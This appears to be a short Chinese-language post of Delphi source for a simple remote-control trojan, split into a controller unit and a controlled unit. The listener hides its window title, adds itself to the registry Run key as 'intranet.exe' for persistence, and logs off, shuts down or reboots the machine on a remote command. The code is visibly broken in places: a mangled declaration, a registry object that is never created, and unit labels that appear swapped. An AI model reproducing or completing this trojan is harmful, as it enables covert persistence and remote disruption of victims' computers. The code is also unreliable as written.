简单
控制端
unit tcpipserUnit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp,Registry;
type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses Unit2;
{$R *.dfm}
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
Str
Char;
Code,V:Integer;
begin
Str:=PChar(Socket.ReceiveText);
//接收字符串
Val(Str,V,Code);
//处理接收的字符串,首先转换字符串为整数
if (V=0)or(V=1)or(V=2)
then
ExitWindowsEx(V,0);
//调用Windows的API函数(V=0表示重新登录、V=1表示关机、V=2表示重启动)
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
begin
application.Title:='';
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if (Reg.OpenKey('Software/Microsoft/Windows/CurrentVersion/Run',False))=True then
Reg.WriteString('StartUp1','c:/windows/intranet.exe');
end;
end.
被控端
unit tcpipUnit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls;
type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
Button2: TButton;
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
ConnectFlag:Boolean;
implementation
{$R *.dfm}
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ConnectFlag:=True;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Application.MessageBox(PChar(' 不能连接到IP地址 : ' + Edit2.Text+'。'+ #13+'可能是监听程序没有运行或网络故障!'),'连接错误',MB_OK+MB_ICONSTOP);
ErrorCode := 0;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
with ClientSocket1 do
begin
if Active
then
begin
Active := False;//在连接之前首先关闭
ConnectFlag:=False;
//置连接标志为假
end;
if Length(Edit2.Text) > 0
then
begin
Host := Edit2.Text;
//指定IP地址或主机名
Active := True;
end;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if ConnectFlag
then
ClientSocket1.Socket.SendText(Edit1.Text)
//如果连接成功则发送字符串
else
Application.MessageBox(PChar(' 没有连接到地址 : ' + Edit2.Text+'。'+ #13+'检查IP地址是否存在或是否已经连接!'),'提示信息',MB_OK+MB_ICONSTOP);
end;
end.